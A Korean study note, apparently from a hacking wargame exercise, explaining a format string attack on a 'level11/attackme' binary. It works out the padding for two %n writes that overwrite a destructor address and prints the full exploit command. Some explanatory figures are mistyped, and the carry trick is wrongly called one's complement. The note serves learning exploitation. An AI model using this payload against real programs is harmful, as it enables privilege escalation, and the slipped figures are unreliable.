본문 바로가기

Learning/└◆Reversing

[참고] Format String 공격시

 

format string 공격시

 

 

리턴 주소를 확인

 

특정 주소(0x8049610)를 어떤 주소로 바꾸어 하는지 확인(0xbffff858)

-> 우리의 예는 소멸자의 주소(08049610) (0xbffff858) 주소로 변경하는 예를 들어 보자.

 

"특정 주소/특정 주소 +2"를 지정한다.

 

$ (공격할 프로그램) | $(printf "AAAA주소BBBB주소+2")%8x%8x%8x%숫자1c%n%숫자2c%n

 

공격할 프로그램 = /home/level11/attackme

주소 = 특정 주소(\x10\x96\x04\x08)

특정한 주소를 지정한다. 우리의 예제에서는 소멸자의 주소이다.

주소+2 = 특정 주소 + 2(\x12\x96\x04\x08)

특정한 주소를 지정한다. 우리의 예제에서는 소멸자의 주소 + 2이다.

숫자1 = 바꾸고 싶은 주소(하단: f858)

= strlen(AAAA주소BBBB주소+2) + strlen(%8x%8x%8x) + 숫자1

= 16 + 24 + ?(숫자1) = 63576(f858)

63576(f858) - 16 - 24 = 63536

===> 따라서 ?(숫자1) 63536(숫자1)

(16진수) f858 = (10진수) 63576

 

숫자2 = 바꾸고 싶은 주소(상단: bfff)

===> 0xf858 + 숫자2 = 0xbfff

= 0x1bfff(bfff1의보수) - 0xf858

= (16진수) 0xc7a7

= (10진수) 51111

 

 

다음과 같은 공격용 명령어를 사용할 수 있다.

$ /home/level11/attackme \

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%63536c%n%51111c%n

 

 

"주소, 주소+2" 사용하는 이유

전체 주소인 0xbfff858을 모두 입력하지 않는 이유는 0xbfff85810진수로 바꾸면 3,221,223,512가 되는데, 이 수치는 정수가 표현할 수 있는 범위인 -2,147,483,648 ~ 2,147,483,647를 벗어나기 때문에 오버플로우가 된다. 따라서 원하는 값을 덮어쓸수가 없다. 그래서 우리가 원하는 값을 4바이트의 주소 범위에 2바이트로 나눠서 덮어쓰는 것이다. 그리고 인텔 프로세서를 사용하는 시스템이면 주소를 리틀엔디안으로 입력해야 한다.

 

숫자2 입력시

숫자2(0x08049612) 부분에는 바꾸고 싶은 상단 bfff 주소를 입력하면 되는데 0xf585을 저장하기 위해 이미 63576바이트를 이동한 상태인데, 다음에 저장해야 할 0xbfff0xf858보다 작은 수이기 때문에 뺄수가 없다. 따라서 bfff주소의 1의 보수인 0x1fff로 만든이후에 0xf858 주소를 뺀 값을 사용하면 된다.(0x1fff - 0xf858 정도로 생각하자.)